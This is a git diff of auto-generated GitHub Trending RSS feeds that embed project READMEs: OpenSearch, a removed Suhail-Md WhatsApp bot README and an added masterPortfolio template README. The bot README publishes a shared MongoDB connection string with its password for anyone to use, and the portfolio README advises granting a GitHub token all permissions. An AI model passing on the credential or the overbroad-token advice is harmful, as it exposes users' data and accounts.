src="https://opensearch.org/assets/img/opensearch-logo-themed.svg?sanitize=true" height="64px"> <p><a href="https://forum.opensearch.org/c/opensearch/"><img src="https://img.shields.io/badge/chat-on%20forums-blue" alt="Chat"></a> <a href="https://opensearch.org/docs/latest/opensearch/index/"><img src="https://img.shields.io/badge/documentation-reference-blue" alt="Documentation"></a> <a href="https://codecov.io/gh/opensearch-project/OpenSearch"><img src="https://codecov.io/gh/opensearch-project/OpenSearch/branch/main/graph/badge.svg?sanitize=true" alt="Code Coverage"></a> <a href="https://github.com/opensearch-project/OpenSearch/issues?q=is%3Aissue+is%3Aopen+label%3A%22untriaged%22"><img src="https://img.shields.io/github/issues/opensearch-project/OpenSearch/untriaged?labelColor=red" alt="Untriaged Issues"></a> <a href="https://github.com/opensearch-project/OpenSearch/issues?q=is%3Aissue+is%3Aopen+label%3A%22security%20vulnerability%22"><img src="https://img.shields.io/github/issues/opensearch-project/OpenSearch/security%20vulnerability?labelColor=red" alt="Security Vulnerabilities"></a> <a href="https://github.com/opensearch-project/OpenSearch/issues"><img src="https://img.shields.io/github/issues/opensearch-project/OpenSearch" alt="Open Issues"></a> <a href="https://github.com/opensearch-project/OpenSearch/pulls"><img src="https://img.shields.io/github/issues-pr/opensearch-project/OpenSearch" alt="Open Pull Requests"></a> <a href="https://github.com/opensearch-project/OpenSearch/issues?q=is%3Aissue+is%3Aopen+label%3A%22v2.10.0%22"><img src="https://img.shields.io/github/issues/opensearch-project/OpenSearch/v2.10.0" alt="2.10 Open Issues"></a> <a href="https://github.com/opensearch-project/OpenSearch/issues?q=is%3Aissue+is%3Aopen+label%3A%22v3.0.0%22"><img src="https://img.shields.io/github/issues/opensearch-project/OpenSearch/v3.0.0" alt="3.0 Open Issues"></a> <a href="https://github.com/opensearch-project/OpenSearch/actions/workflows/gradle-check.yml"><img src="https://github.com/opensearch-project/OpenSearch/actions/workflows/gradle-check.yml/badge.svg?sanitize=true" alt="GHA gradle check"></a> <a href="https://github.com/opensearch-project/OpenSearch/actions/workflows/wrapper.yml"><img src="https://github.com/opensearch-project/OpenSearch/actions/workflows/wrapper.yml/badge.svg?sanitize=true" alt="GHA validate pull request"></a> <a href="https://github.com/opensearch-project/OpenSearch/actions/workflows/precommit.yml"><img src="https://github.com/opensearch-project/OpenSearch/actions/workflows/precommit.yml/badge.svg?sanitize=true" alt="GHA precommit"></a> <a href="https://build.ci.opensearch.org/job/gradle-check/"><img src="https://img.shields.io/jenkins/build?jobUrl=https%3A%2F%2Fbuild.ci.opensearch.org%2Fjob%2Fgradle-check%2F&amp;label=Jenkins%20Gradle%20Check" alt="Jenkins gradle check job"></a></p> <ul> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#welcome">Welcome!</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#project-resources">Project Resources</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#code-of-conduct">Code of Conduct</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#security">Security</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#license">License</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#copyright">Copyright</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/#trademark">Trademark</a></li> </ul> <h2>Welcome!</h2> <p><strong>OpenSearch</strong> is <a href="https://aws.amazon.com/blogs/opensource/introducing-opensearch/">a community-driven, open source fork</a> of <a href="https://en.wikipedia.org/wiki/Elasticsearch">Elasticsearch</a> and <a href="https://en.wikipedia.org/wiki/Kibana">Kibana</a> following the <a href="https://blog.opensource.org/the-sspl-is-not-an-open-source-license/">license change</a> in early 2021. We're looking to sustain (and evolve!) a search and analytics suite for the multitude of businesses who are dependent on the rights granted by the original, <a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/LICENSE.txt">Apache v2.0 License</a>.</p> <h2>Project Resources</h2> <ul> <li><a href="https://opensearch.org/">Project Website</a></li> <li><a href="https://opensearch.org/downloads.html">Downloads</a></li> <li><a href="https://opensearch.org/docs/">Documentation</a></li> <li>Need help? Try <a href="https://discuss.opendistrocommunity.dev/">Forums</a></li> <li><a href="https://opensearch.org/#principles">Project Principles</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/CONTRIBUTING.md">Contributing to OpenSearch</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/MAINTAINERS.md">Maintainer Responsibilities</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/RELEASING.md">Release Management</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/ADMINS.md">Admin Responsibilities</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/TESTING.md">Testing</a></li> <li><a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/SECURITY.md">Security</a></li> </ul> <h2>Code of Conduct</h2> <p>This project has adopted the <a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/CODE_OF_CONDUCT.md">Amazon Open Source Code of Conduct</a>. For more information see the <a href="https://aws.github.io/code-of-conduct-faq">Code of Conduct FAQ</a>, or contact <a href="mailto:opensource-codeofconduct@amazon.com">opensource-codeofconduct@amazon.com</a> with any additional questions or comments.</p> <h2>Security</h2> <p>If you discover a potential security issue in this project we ask that you notify AWS/Amazon Security via our <a href="http://aws.amazon.com/security/vulnerability-reporting/">vulnerability reporting page</a> or directly via email to <a href="mailto:aws-security@amazon.com">aws-security@amazon.com</a>. Please do <strong>not</strong> create a public GitHub issue.</p> <h2>License</h2> <p>This project is licensed under the <a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/LICENSE.txt">Apache v2.0 License</a>.</p> <h2>Copyright</h2> <p>Copyright OpenSearch Contributors. See <a href="https://raw.githubusercontent.com/opensearch-project/OpenSearch/main/NOTICE.txt">NOTICE</a> for details.</p> <h2>Trademark</h2> <p>OpenSearch is a registered trademark of Amazon Web Services.</p> <p>OpenSearch includes certain Apache-licensed Elasticsearch code from Elasticsearch B.V. and other source code. Elasticsearch B.V. is not the source of that other source code. ELASTICSEARCH is a registered trademark of Elasticsearch B.V.</p> - - \ No newline at end of file diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml index b9982cb13e5..90acf0cc20b 100644 --- a/javascript+erb/daily/index.xml +++ b/javascript+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub JavaScript+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:22Z + 2023-09-25T01:32:18Z Daily Trending of JavaScript+ERB in GitHub \ No newline at end of file diff --git a/javascript+erb/weekly/index.xml b/javascript+erb/weekly/index.xml deleted file mode 100644 index 59887d3e903..00000000000 --- a/javascript+erb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub JavaScript+ERB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:25Z - Weekly Trending of JavaScript+ERB in GitHub - - \ No newline at end of file diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml index b7039753ba9..e68c326446c 100644 --- a/javascript/daily/index.xml +++ b/javascript/daily/index.xml @@ -1,28 +1,28 @@ GitHub JavaScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:33:27Z + 2023-09-25T01:32:23Z Daily Trending of JavaScript in GitHub - SuhailTechInfo/Suhail-Md - 2023-09-24T01:33:27Z - tag:github.com,2023-09-24:/SuhailTechInfo/Suhail-Md - - <p>meet Suhail-Md, Your All-in-One WhatsApp Excitement Buddy! Enjoy a thrilling messaging experience like never before. Suhail-Md brings a world of excitement and joy to your chats ✨🤖</p><hr><h1 align="center"> Suhail Md </h1> <p align="center"> Introducing Suhail_Md, It is designed to bring a whole new level of excitement to your boring WhatsApp use. </p> <p align="center"> <a href="https://youtube.com/@suhailtechinfo"> <img alt="Suhail docs" height="300" src="https://telegra.ph/file/ec9bc5038601821f2eb84.jpg"> </a> </p> <p align="center"> <a href="" target="_blank"> <img alt="Forks" src="https://img.shields.io/github/forks/SuhailTechInfo/Suhail-Md"> </a> <a aria-label="Suhail_Md is free to use" href="https://github.com/SuhailTechInfo/Suhail-Md/raw/main/LICENCE" target="_blank"> <img alt="License: GPL-3" src="https://badges.frapsoft.com/os/gpl/gpl.png?v=103)%5D(https://opensource.org/licenses/GPL-3.0/" target="_blank"> </a> <a aria-label="Suhail_Md is free to use" href="https://youtube.com/@suhailtechinfo" target="_blank"> <img alt="SuhailTechInfo Yt" src="https://img.shields.io/youtube/channel/subscribers/UCU071AMRqcd5mfTdCgJFwPg" target="_blank"> </a> </p> <p align="center"><img src="https://profile-counter.glitch.me/{SuhailTechInfo}/count.svg" alt="SuhailTechInfo :: Visitor's Count"></p> <p align="center"> <a href="https://chat.whatsapp.com/CiqdwyiDV9eCR3xLe0Ttvi" target="_blank"> <img alt="whatsapp Group" src="https://img.shields.io/badge/ Whatsapp Support Group -25D366?style=for-the-badge&amp;logo=whatsapp&amp;logoColor=white"> </a> </p> <hr> <h2>Bot Games</h2> <hr> <ol> <li><em><strong>Connect Four Game.</strong></em></li> <li><em><strong>Tic Tac Toe.</strong></em></li> <li><em><strong>Number Guessing Game.</strong></em></li> <li><em><strong>Word chain Game.</strong></em></li> <li><em><strong>Hidden Queen Card.</strong></em></li> <li><em><strong>Rolling Dice.</strong></em></li> <li><em><strong>Capital of city.</strong></em></li> </ol> <h2></h2> <h2>Deployment Methods</h2> <hr> <ol> <li> <p><em><strong>Get <a href="https://replit.com/@SuhailTechInfo/Suhail-Md?v=1"><code>SESSION ID 1</code></a>, <a href="https://replit.com/@SuhailTechInfo/Secktor-Bot?v=1"><code>SESSION ID 2</code></a> by scanning QR code. And Scan it <code>Go-to Whatapp&gt;Three dots&gt;Linked Devices</code></strong></em></p> </li> <li> <p><em><strong>Get Mongodb_URI from <a href="https://www.mongodb.com/"><code>Mongodb site</code></a> | Watch Tutorial <a href="https://youtu.be/6rnftFl0fAI"><code>To Get Mongodb_URI</code></a>.</strong></em></p> </li> <li> <p><em><strong>Click <a href="https://github.com/SuhailTechInfo/Suhail-Md/fork"><code>FORK</code></a> and <code>Star ⭐ Repository</code> if you Like that Bot.</strong></em></p> </li> <li> <p><em><strong>Deploy tutorial <a href="https://youtu.be/6rnftFl0fAI"><code>Youtube Video</code></a>.</strong></em></p> </li> <li> <p><em><strong>Deploy FREE on <code>Codespace,</code> First see <a href="https://youtu.be/3NdJb6_1cJM"><code>Codespace tutorial</code></a></strong></em></p> </li> <li> <p><em><strong>Deploy on <a href="https://suhail-web01.vercel.app/deploy.html"><code>HEROKU</code></a></strong></em></p> </li> <li> <p><em><strong>Deploy on <a href="https://suhail-web01.vercel.app/replit.html"><code>Replit</code></a></strong></em></p> </li> </ol> <h2></h2> <p><em><strong>Use this Public MongoDb Key, If you dont have.!</strong></em></p> <pre><code>mongodb+srv://Suhail_Md:Suhail_Md@cluster1.0tlyzhm.mongodb.net/?retryWrites=true&amp;w=majority </code></pre> <hr> <ul> <li>Star ⭐ repo if you like this bot.</li> </ul> <h3>Thanks To</h3> <ul> <li><a href="https://github.com/Sampandey001">Sam Pamday</a></li> </ul> <p>The Suhail_Md is made available under the <a href="https://github.com/SuhailTechInfo/Suhail-Md/raw/main/LICENCE">GPL-3 license</a>.</p> <p>##Deploy on <a href="https://dashboard.heroku.com/new?template=https://github.com/SuhailTechInfo/Suhail-Md"><code>heroku</code></a></p> + ashutosh1919/masterPortfolio + 2023-09-25T01:32:23Z + tag:github.com,2023-09-25:/ashutosh1919/masterPortfolio + + <p>🔥 The Complete Customizable Software Developer Portfolio Template which lets you showcase your work and provides each and every detail about you as Software Developer.</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/images/masterportfolio-banner-light.png" align="center" height="150"> </p> <h1 align="center"> Software Developer Master Portfolio 🔥 </h1> <h3 align="center"> A clean, beautiful, responsive, and 100% customizable portfolio <br> template for Software Developers! </h3> <p align="center"> <a href="http://hits.dwyl.com/ashutosh1919/masterPortfolio"><img alt="HitCounts" src="http://hits.dwyl.com/ashutosh1919/masterPortfolio.svg?sanitize=true"></a> <a href="https://nodejs.org/en/blog/release/v12.13.0/"><img alt="NodeJS" src="https://img.shields.io/badge/node-12.14.1-important?style=flat-square"></a> <a href="https://www.npmjs.com/package/npm/v/6.13.4"><img alt="NPM" src="https://img.shields.io/badge/npm-6.13.7-blueviolet?style=flat-square"></a> <a href="https://reactjs.org/"><img alt="Made With React" src="https://img.shields.io/badge/made%20with-react-61DAFB?style=flat-square"></a> <a href="https://join.slack.com/t/masterportfolio/shared_invite/zt-g772n1fo-Ns4usanURF8jVb8wk2lRAA"><img alt="Join Slack Channel For Support" src="https://img.shields.io/badge/slack-masterPortfolio-yellow.svg?logo=slack?style=flat-square"></a> <a href="https://github.com/prettier/prettier"><img alt="code style: prettier" src="https://img.shields.io/badge/code_style-prettier-ff69b4.svg?style=flat-square?style=flat-square"></a> <br> <a href="https://app.netlify.com/sites/ashutosh1919portfolio/deploys"><img alt="Netlify Status" src="https://api.netlify.com/api/v1/badges/abf59f82-3251-4040-b24c-949b86691642/deploy-status?style=flat-square"></a> <a href="https://travis-ci.org/badges/badgerbadgerbadger"><img alt="Build Status" src="http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square?style=flat-square"></a> <a href="http://badges.mit-license.org/"><img alt="License" src="http://img.shields.io/:license-mit-blue.svg?style=flat-square?style=flat-square"></a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits/master"><img alt="Maintenance" src="https://img.shields.io/badge/maintained-yes-green.svg?style=flat-square"></a> <a href="http://badges.mit-license.org/"><img alt="Website" src="https://img.shields.io/badge/website-up-yellow?style=flat-square"></a> <a href="https://ashutoshhathidara.com/"><img alt="License" src="http://img.shields.io/:license-mit-blue.svg?style=flat-square?style=flat-square"></a> <a href="https://img.shields.io/badge/price-free-ff69b4"><img alt="Price" src="https://img.shields.io/badge/price-free-ff69b4?style=flat-square"></a> </p> <p align="center">If you want to discuss about something, you can ask on my <a href="https://discord.com/invite/GkcbM5bwZr">Discord Server</a>.</p> <p align="center"> <a href="https://ashutosh1919.github.io" target="_blank"> <img src="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/images/masterPortfolioThemes.png"> </a> </p> <p><span>⭐</span> Star us on GitHub — it helps!</p> <h1>Sections 📚</h1> <p>✔️ Summary and About me<br> ✔️ Skills <br> ✔️ Open Source Projects Connected with Github<br> ✔️ Experience<br> ✔️ Certifications 🏆<br> ✔️ Blogs<br> ✔️ Education<br> ✔️ Contact me</p> <p>To view a live example, <strong><a href="https://ashutosh1919.github.io/">click here</a></strong></p> <h1>Clone and Use 📋</h1> <ul> <li>The website is completely built on <code>react-js</code> library of <code>javascript</code> and that's why we need <code>nodejs</code> and <code>npm</code> installed</li> <li>While installing <code>nodejs</code> and <code>npm</code>, try to install versions which are equal or greater than the versions mentioned in badges above</li> <li>In case you want to help developing it or simply saving it, you can fork the repository just by clicking the button on the top-right corner of this page</li> <li>After the successful installation of <code>nodejs</code> and <code>npm</code>, clone the repository into your local system using below command: <pre><code class="language-bash"> git clone https://github.com/ashutosh1919/masterPortfolio.git </code></pre> This will clone the whole repository in your system.</li> <li>To download required dependencies to your system, navigate to the directory where the cloned repository resides and execute following command: <pre><code class="language-node">npm install </code></pre> </li> <li>Now the project is ready to use</li> <li>You can check it using <code>npm start</code>, it will open the website locally on your browser.</li> </ul> <h1>Customize it to make your own portfolio ✏️</h1> <p>In this project, there are basically 4 things that you need to change to customize this to anyone else's portfolio: <strong>package.json</strong>, <strong>Personal Information</strong>, <strong>Github Information</strong> and <strong>Splash Logo</strong>.</p> <h3>package.json</h3> <p>Open this file, which is in the main cloned directory, choose any "name" and change "homepage " to <code>https://&lt;your-github-username&gt;.github.io</code>. Do not forget the <code>https://</code>, otherwise fonts will not load.</p> <h3>Personal Information</h3> <p>You will find <code>src/portfolio.js</code> file which contains the complete information about the user. The file looks something like below:</p> <pre><code class="language-javascript">// Home Page const greeting = { ... } // Social Media const socialMediaLinks = { ... } ... </code></pre> <p>You can change the personal information, experience, education, social media, certifications, blog information, contact information etc. in <code>src/portfolio.js</code> to directly reflect them in portfolio website.</p> <h3>How to change the icons on homepage under what i do section?</h3> <ol> <li>This section pulls data from <code>skills</code> in portfolio.js file.</li> <li>Visit this website: <a href="https://icon-sets.iconify.design/">https://icon-sets.iconify.design/</a></li> <li>Search for the skill you are looking to add.</li> <li>Select the icon of your choice.</li> <li>Copy the text beside <strong>Selected Icon</strong> and replace it with <code>fontAwesomeClassName</code> of that particular softwareSkill.</li> </ol> <h4>How to use custom images instead of Iconify Icons?</h4> <ol> <li>Add a valid image file into the <code>public/skills</code> folder</li> <li>Insert the image name into the <code>imageSrc</code> attribute of the particular softwareSkill</li> <li>Remove the <code>fontAwesomeClassName</code> property or leave it empty because it takes precedence over <code>imageSrc</code></li> <li>Add custom styling to the <code>img</code> using the <code>style</code> Property</li> </ol> <h3>Github Information</h3> <p>You will find <code>git_data_fetcher.mjs</code> file in the main directory of the repository. This file is used to fetch the data (Pull requests, Issues, Organizations, Pinned projects etc.) from your github.</p> <p>In the project you will see a <code>env.example</code> file, create a new file named <code>.env</code> and copy contents of <code>env.example</code> into it. In that file, you will see the following environment variables</p> <pre><code class="language-javascript">GITHUB_TOKEN = your_token; GITHUB_USERNAME = your_username; </code></pre> <p>You can get a github token as described <a href="https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token">here</a>. Give all permissions while generating token. Add your github username and the token generated in <code>GITHUB_USERNAME</code> and <code>GITHUB_TOKEN</code> variables in the .env file.</p> <p>Now, you need to run following command. (Make sure you executed <code>npm install</code> before this)</p> <p><strong>Warning:</strong> Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs.</p> <pre><code class="language-node">node git_data_fetcher.mjs </code></pre> <p>This will fetch all the data from your github and it will automatically replace my data with yours. Whenever you want to update the github related information on the website you need to run this command.</p> <h3>Splash Logo</h3> <p>Note here that if you click <a href="https://ashutosh1919.github.io">my portfolio</a>, you can see animating the logo at the beginning. I have designed that logo in <a href="https://www.figma.com/"><code>Figma</code></a> and then animated it using css. Therefore, this part of portfolio is not customizable. But don't worry we have a solution to this problem. You have below two alternatives:</p> <ul> <li> <p>If you want to design your own logo, then you can design it using <code>Figma</code> or <code>Adobe XD</code> or <code>Adobe Illustrator</code> or <code>Inkscape</code>. If you want to animate it, you can refer to <code>./src/components/Loader</code> directory which contains <code>js</code> and <code>css</code> files which animates the logo</p> </li> <li> <p>If you don't want Splash screen or you don't know how to design logo, then this option is for you</p> <ul> <li>You can open <code>src/portfolio.js</code> file and at the top of this file you will see <code>settings</code> component as below: <pre><code class="language-javascript">// Website related settings const settings = { isSplash: true, }; </code></pre> </li> <li>Change <code>isSplash</code> from <code>true</code> to <code>false</code></li> <li>Now, if you see your website using <code>npm start</code>, it will directly open <code>home</code> rather than animating logo <code>splash</code> screen</li> <li>If you design your logo in future, then edit the files in <code>./src/components/Loader</code> and then revert <code>isSplash</code> to <code>true</code> in <code>src/portfolio.js</code>.</li> </ul> </li> </ul> <h2>Other</h2> <ul> <li>You need to change the website title and other descriptions in <code>public/index.html</code></li> <li>You can define your own favicon in <code>public/icons</code> directory. If you don't have a favicon, you can generate favicons from <a href="https://www.favicon-generator.org/">Favicon Generator</a> and <a href="https://favicon.io/">Favicon IO</a></li> <li>You can also edit your website preview (known as description image). Run your site locally, take a screenshot and replace with <code>public/icons/desc.png</code>. Note that your screenshot should be 1280x640 for better preview.</li> </ul> <h1>Choose Theme 🌈</h1> <ul> <li>You can take a look at <code>src/theme.js</code> file where all available themes are mentioned with their respective color codes</li> <li>At the bottom of this file you will see the below code: <ul> <li><code>export const chosenTheme = blueTheme;</code></li> <li>You need to change the name from <code>blueTheme</code> to whatever theme you want to set your website to</li> <li>You can define new theme similarly as other themes and you can assign name of that new defined theme to <code>chosenTheme</code></li> </ul> </li> <li>That's it. You just need to change the theme name and the code will take care of everything else</li> <li>Run <code>npm start</code> to check if everything is ok.</li> </ul> <h1>Deployment 📦</h1> <ul> <li>Once you are done with your setup and have successfully completed all steps above, you need to put your website online!</li> <li>I highly recommend using <a href="https://create-react-app.dev/docs/deployment/#github-pages">Github Pages</a> to achieve this the EASIEST WAY.</li> <li>To deploy your website, you have two options. First you need to create a github repository with the name <code>&lt;your-github-username&gt;.github.io</code>. Please don't give it any other name.</li> <li>Now, you need to generate a production build and deploy the website.</li> </ul> <p><strong>Option 1:</strong></p> <ul> <li>Run <code>npm run build</code> to generate the production build folder.</li> <li>Enter the build folder, <code>git init</code> and push the generated code to the <code>master</code> branch of your new repository on github. That's it. It's Done.</li> <li>You may need to <code>git init</code> and force push at every new build.</li> </ul> <p><strong>Option 2 (will not work with <a href="https://docs.github.com/en/github/working-with-github-pages/about-github-pages">user pages</a>):</strong></p> <ul> <li>Run <code>npm run deploy</code> to build and create a branch called <code>gh-pages</code>. It will push the <code>build</code> files to that branch.</li> <li>The last step in deploying is to enable <code>Github Pages</code> in settings of the repository and select <code>gh-pages</code> branch.</li> </ul> <p>Now, your website is successfully deployed and you can visit it at <code>&lt;your-github-username&gt;.github.io</code>.<br> If you are stuck somewhere and want to observe the deployment process in depth, then please watch below video.</p> <p align="center"> <a href="http://www.youtube.com/watch?v=IwBS39TOmpA" target="_blank"> <img src="http://img.youtube.com/vi/IwBS39TOmpA/0.jpg"> </a> </p> <h1>Technologies used 🛠️</h1> <ul> <li><a href="https://reactjs.org/">React</a></li> <li><a href="https://graphql.org/">graphql</a></li> <li><a href="https://www.apollographql.com/docs/react/get-started/">apollo-boost</a></li> <li><a href="https://github.com/uber/baseweb">baseui</a></li> <li><a href="https://www.react-reveal.com/">react-reveal</a></li> <li><a href="https://styled-components.com/">styled-components</a></li> </ul> <h1>illustrations 🍥</h1> <ul> <li><a href="https://undraw.co/illustrations">UnDraw</a></li> </ul> <h1>License 📄</h1> <p>This project is licensed under the MIT License - see the <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/LICENSE">LICENSE.md</a> file for details.</p> <h1>Contributing 💡</h1> <p>If you can help us with these. Please don't hesitate to open an <a href="https://github.com/ashutosh1919/masterPortfolio/pulls">pull request</a> or <a href="https://github.com/ashutosh1919/masterPortfolio/issues">issue</a>.</p> <ul> <li>Move to Gatsby</li> <li>Add Podcast Section and Video Section</li> <li>Add tests to automate review.</li> <li>Setup Travis workflow.</li> </ul> <h1>Contributors ✨</h1> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="http://ashutosh1919.github.io"><img src="https://avatars3.githubusercontent.com/u/20843596?s=460&amp;u=7f184b911f73ae1dc5765ab686fff2b2e984830f&amp;v=4?s=100" width="100px;" alt="Ashutosh Hathidara"><br><sub><b>Ashutosh Hathidara</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=ashutosh1919" title="Code">💻</a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=ashutosh1919" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#design-ashutosh1919" title="Design">🎨</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#maintenance-ashutosh1919" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#ideas-ashutosh1919" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center" valign="top" width="14.28%"><a href="https://danielmarostica.github.io/"><img src="https://avatars3.githubusercontent.com/u/3595998?v=4?s=100" width="100px;" alt="Daniel Marostica"><br><sub><b>Daniel Marostica</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=danielmarostica" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#design-danielmarostica" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dineshnadimpalli.com"><img src="https://avatars2.githubusercontent.com/u/13104926?v=4?s=100" width="100px;" alt="Dinesh Nadimpalli"><br><sub><b>Dinesh Nadimpalli</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=dineshnadimpalli" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://jivthesh.github.io"><img src="https://avatars3.githubusercontent.com/u/20579980?v=4?s=100" width="100px;" alt="Jivthesh M R"><br><sub><b>Jivthesh M R</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=jivthesh" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://jatinchauhan.tech"><img src="https://avatars2.githubusercontent.com/u/40722235?v=4?s=100" width="100px;" alt="Jatin Chauhan"><br><sub><b>Jatin Chauhan</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=mrjatinchauhan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://th3c0d3br34ker.github.io/"><img src="https://avatars1.githubusercontent.com/u/60807938?v=4?s=100" width="100px;" alt="Jainam Desai"><br><sub><b>Jainam Desai</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=th3c0d3br34ker" title="Code">💻</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#question-th3c0d3br34ker" title="Answering Questions">💬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://miftaulmannan.wordpress.com/"><img src="https://avatars0.githubusercontent.com/u/42533823?v=4?s=100" width="100px;" alt="Miftaul Mannan"><br><sub><b>Miftaul Mannan</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=Tasin5541" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://a-mishra.github.io"><img src="https://avatars0.githubusercontent.com/u/10567548?v=4?s=100" width="100px;" alt="Ashutosh Mishra"><br><sub><b>Ashutosh Mishra</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=a-mishra" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://tamojit.wixsite.com/mrtamojit"><img src="https://avatars0.githubusercontent.com/u/40804626?v=4?s=100" width="100px;" alt="Tamojit"><br><sub><b>Tamojit</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=tamojit-123" title="Documentation">📖</a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=tamojit-123" title="Code">💻</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#design-tamojit-123" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://prabin-karki.com.np"><img src="https://avatars.githubusercontent.com/u/43983896?v=4?s=100" width="100px;" alt="Prabin Karki"><br><sub><b>Prabin Karki</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=githubprabin143" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://praveen.science/"><img src="https://avatars.githubusercontent.com/u/1830380?v=4?s=100" width="100px;" alt="Praveen Kumar Purushothaman"><br><sub><b>Praveen Kumar Purushothaman</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=praveenscience" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://baul.ml"><img src="https://avatars.githubusercontent.com/u/33395806?v=4?s=100" width="100px;" alt="paul"><br><sub><b>paul</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=baulml" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SandipDhang"><img src="https://avatars.githubusercontent.com/u/50694884?v=4?s=100" width="100px;" alt="Sandip Dhang"><br><sub><b>Sandip Dhang</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=SandipDhang" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ioribrn"><img src="https://avatars.githubusercontent.com/u/43734587?v=4?s=100" width="100px;" alt="Jawad Moustadif"><br><sub><b>Jawad Moustadif</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=ioribrn" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/priyanshk20"><img src="https://avatars.githubusercontent.com/u/52736997?v=4?s=100" width="100px;" alt="Priyansh Khandelwal"><br><sub><b>Priyansh Khandelwal</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=priyanshk20" title="Code">💻</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#design-priyanshk20" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/abdslam01"><img src="https://avatars.githubusercontent.com/u/59281502?v=4?s=100" width="100px;" alt="Abdessalam Bahafid"><br><sub><b>Abdessalam Bahafid</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=abdslam01" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dhruvkrishnavaid.github.io"><img src="https://avatars.githubusercontent.com/u/69188774?v=4?s=100" width="100px;" alt="Dhruv Krishna Vaid"><br><sub><b>Dhruv Krishna Vaid</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=dhruvkrishnavaid" title="Code">💻</a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=dhruvkrishnavaid" title="Documentation">📖</a> <a 